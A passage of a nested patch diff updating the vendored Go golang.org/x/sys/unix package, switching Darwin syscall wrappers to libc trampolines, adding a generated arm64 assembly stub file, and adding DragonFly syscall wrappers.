-+//go:linkname libc_mmap libc_mmap
-+//go:cgo_import_dynamic libc_mmap mmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munmap_trampoline), uintptr(addr), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munmap_trampoline()
-+
-+//go:linkname libc_munmap libc_munmap
-+//go:cgo_import_dynamic libc_munmap munmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1588,7 +2332,7 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1599,7 +2343,7 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
-- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_gettimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- sec = int64(r0)
- usec = int32(r1)
- if e1 != 0 {
-@@ -1607,3 +2351,134 @@ func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
- }
- return
- }
-+
-+func libc_gettimeofday_trampoline()
-+
-+//go:linkname libc_gettimeofday libc_gettimeofday
-+//go:cgo_import_dynamic libc_gettimeofday gettimeofday "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstat_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstat_trampoline()
-+
-+//go:linkname libc_fstat libc_fstat
-+//go:cgo_import_dynamic libc_fstat fstat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fstatat_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatat_trampoline()
-+
-+//go:linkname libc_fstatat libc_fstatat
-+//go:cgo_import_dynamic libc_fstatat fstatat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstatfs_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatfs_trampoline()
-+
-+//go:linkname libc_fstatfs libc_fstatfs
-+//go:cgo_import_dynamic libc_fstatfs fstatfs "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getfsstat_trampoline), uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getfsstat_trampoline()
-+
-+//go:linkname libc_getfsstat libc_getfsstat
-+//go:cgo_import_dynamic libc_getfsstat getfsstat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_lstat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_lstat_trampoline()
-+
-+//go:linkname libc_lstat libc_lstat
-+//go:cgo_import_dynamic libc_lstat lstat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_stat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_stat_trampoline()
-+
-+//go:linkname libc_stat libc_stat
-+//go:cgo_import_dynamic libc_stat stat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_statfs_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_statfs_trampoline()
-+
-+//go:linkname libc_statfs libc_statfs
-+//go:cgo_import_dynamic libc_statfs statfs "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s
-new file mode 100644
-index 00000000..40cce1bb
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s
-@@ -0,0 +1,282 @@
-+// go run mkasm_darwin.go arm64
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.12
-+
-+#include "textflag.h"
-+TEXT ·libc_getgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgroups(SB)
-+TEXT ·libc_setgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgroups(SB)
-+TEXT ·libc_wait4_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_wait4(SB)
-+TEXT ·libc_accept_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_accept(SB)
-+TEXT ·libc_bind_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_bind(SB)
-+TEXT ·libc_connect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_connect(SB)
-+TEXT ·libc_socket_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socket(SB)
-+TEXT ·libc_getsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockopt(SB)
-+TEXT ·libc_setsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsockopt(SB)
-+TEXT ·libc_getpeername_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpeername(SB)
-+TEXT ·libc_getsockname_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockname(SB)
-+TEXT ·libc_shutdown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_shutdown(SB)
-+TEXT ·libc_socketpair_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socketpair(SB)
-+TEXT ·libc_recvfrom_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvfrom(SB)
-+TEXT ·libc_sendto_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendto(SB)
-+TEXT ·libc_recvmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvmsg(SB)
-+TEXT ·libc_sendmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendmsg(SB)
-+TEXT ·libc_kevent_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kevent(SB)
-+TEXT ·libc_utimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_utimes(SB)
-+TEXT ·libc_futimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_futimes(SB)
-+TEXT ·libc_poll_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_poll(SB)
-+TEXT ·libc_madvise_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_madvise(SB)
-+TEXT ·libc_mlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlock(SB)
-+TEXT ·libc_mlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlockall(SB)
-+TEXT ·libc_mprotect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mprotect(SB)
-+TEXT ·libc_msync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_msync(SB)
-+TEXT ·libc_munlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlock(SB)
-+TEXT ·libc_munlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlockall(SB)
-+TEXT ·libc_getattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getattrlist(SB)
-+TEXT ·libc_pipe_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pipe(SB)
-+TEXT ·libc_getxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getxattr(SB)
-+TEXT ·libc_fgetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fgetxattr(SB)
-+TEXT ·libc_setxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setxattr(SB)
-+TEXT ·libc_fsetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsetxattr(SB)
-+TEXT ·libc_removexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_removexattr(SB)
-+TEXT ·libc_fremovexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fremovexattr(SB)
-+TEXT ·libc_listxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listxattr(SB)
-+TEXT ·libc_flistxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flistxattr(SB)
-+TEXT ·libc_setattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setattrlist(SB)
-+TEXT ·libc_fcntl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fcntl(SB)
-+TEXT ·libc_kill_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kill(SB)
-+TEXT ·libc_ioctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ioctl(SB)
-+TEXT ·libc_sysctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sysctl(SB)
-+TEXT ·libc_sendfile_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendfile(SB)
-+TEXT ·libc_access_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_access(SB)
-+TEXT ·libc_adjtime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_adjtime(SB)
-+TEXT ·libc_chdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chdir(SB)
-+TEXT ·libc_chflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chflags(SB)
-+TEXT ·libc_chmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chmod(SB)
-+TEXT ·libc_chown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chown(SB)
-+TEXT ·libc_chroot_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chroot(SB)
-+TEXT ·libc_clock_gettime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_clock_gettime(SB)
-+TEXT ·libc_close_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_close(SB)
-+TEXT ·libc_dup_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup(SB)
-+TEXT ·libc_dup2_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup2(SB)
-+TEXT ·libc_exchangedata_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exchangedata(SB)
-+TEXT ·libc_exit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exit(SB)
-+TEXT ·libc_faccessat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_faccessat(SB)
-+TEXT ·libc_fchdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchdir(SB)
-+TEXT ·libc_fchflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchflags(SB)
-+TEXT ·libc_fchmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmod(SB)
-+TEXT ·libc_fchmodat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmodat(SB)
-+TEXT ·libc_fchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchown(SB)
-+TEXT ·libc_fchownat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchownat(SB)
-+TEXT ·libc_flock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flock(SB)
-+TEXT ·libc_fpathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fpathconf(SB)
-+TEXT ·libc_fsync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsync(SB)
-+TEXT ·libc_ftruncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ftruncate(SB)
-+TEXT ·libc_getdtablesize_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getdtablesize(SB)
-+TEXT ·libc_getegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getegid(SB)
-+TEXT ·libc_geteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_geteuid(SB)
-+TEXT ·libc_getgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgid(SB)
-+TEXT ·libc_getpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgid(SB)
-+TEXT ·libc_getpgrp_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgrp(SB)
-+TEXT ·libc_getpid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpid(SB)
-+TEXT ·libc_getppid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getppid(SB)
-+TEXT ·libc_getpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpriority(SB)
-+TEXT ·libc_getrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrlimit(SB)
-+TEXT ·libc_getrusage_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrusage(SB)
-+TEXT ·libc_getsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsid(SB)
-+TEXT ·libc_getuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getuid(SB)
-+TEXT ·libc_issetugid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_issetugid(SB)
-+TEXT ·libc_kqueue_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kqueue(SB)
-+TEXT ·libc_lchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lchown(SB)
-+TEXT ·libc_link_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_link(SB)
-+TEXT ·libc_linkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_linkat(SB)
-+TEXT ·libc_listen_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listen(SB)
-+TEXT ·libc_mkdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdir(SB)
-+TEXT ·libc_mkdirat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdirat(SB)
-+TEXT ·libc_mkfifo_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkfifo(SB)
-+TEXT ·libc_mknod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mknod(SB)
-+TEXT ·libc_open_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_open(SB)
-+TEXT ·libc_openat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_openat(SB)
-+TEXT ·libc_pathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pathconf(SB)
-+TEXT ·libc_pread_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pread(SB)
-+TEXT ·libc_pwrite_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pwrite(SB)
-+TEXT ·libc_read_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_read(SB)
-+TEXT ·libc_readlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlink(SB)
-+TEXT ·libc_readlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlinkat(SB)
-+TEXT ·libc_rename_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rename(SB)
-+TEXT ·libc_renameat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_renameat(SB)
-+TEXT ·libc_revoke_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_revoke(SB)
-+TEXT ·libc_rmdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rmdir(SB)
-+TEXT ·libc_lseek_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lseek(SB)
-+TEXT ·libc_select_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_select(SB)
-+TEXT ·libc_setegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setegid(SB)
-+TEXT ·libc_seteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_seteuid(SB)
-+TEXT ·libc_setgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgid(SB)
-+TEXT ·libc_setlogin_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setlogin(SB)
-+TEXT ·libc_setpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpgid(SB)
-+TEXT ·libc_setpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpriority(SB)
-+TEXT ·libc_setprivexec_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setprivexec(SB)
-+TEXT ·libc_setregid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setregid(SB)
-+TEXT ·libc_setreuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setreuid(SB)
-+TEXT ·libc_setrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setrlimit(SB)
-+TEXT ·libc_setsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsid(SB)
-+TEXT ·libc_settimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_settimeofday(SB)
-+TEXT ·libc_setuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setuid(SB)
-+TEXT ·libc_symlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlink(SB)
-+TEXT ·libc_symlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlinkat(SB)
-+TEXT ·libc_sync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sync(SB)
-+TEXT ·libc_truncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_truncate(SB)
-+TEXT ·libc_umask_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_umask(SB)
-+TEXT ·libc_undelete_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_undelete(SB)
-+TEXT ·libc_unlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlink(SB)
-+TEXT ·libc_unlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlinkat(SB)
-+TEXT ·libc_unmount_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unmount(SB)
-+TEXT ·libc_write_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_write(SB)
-+TEXT ·libc_mmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mmap(SB)
-+TEXT ·libc_munmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munmap(SB)
-+TEXT ·libc_gettimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_gettimeofday(SB)
-+TEXT ·libc_fstat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstat(SB)
-+TEXT ·libc_fstatat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatat(SB)
-+TEXT ·libc_fstatfs_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatfs(SB)
-+TEXT ·libc_getfsstat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getfsstat(SB)
-+TEXT ·libc_lstat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lstat(SB)
-+TEXT ·libc_stat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_stat(SB)
-+TEXT ·libc_statfs_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_statfs(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_dragonfly_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_dragonfly_amd64.go
-index 7fa205cd..fe1fdd78 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_dragonfly_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_dragonfly_amd64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -dragonfly -tags dragonfly,amd64 syscall_bsd.go syscall_dragonfly.go syscall_dragonfly_amd64.go
-+// go run mksyscall.go -dragonfly -tags dragonfly,amd64 syscall_bsd.go syscall_dragonfly.go syscall_dragonfly_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build dragonfly,amd64
-@@ -255,9 +255,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -412,6 +412,33 @@ func extpwrite(fd int, p []byte, flags int, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -550,6 +577,21 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -580,6 +622,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -590,6 +647,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -621,6 +693,21 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatfs(fd int, stat *Statfs_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
-@@ -651,6 +738,23 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getdents(fd int, buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
-@@ -859,6 +963,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
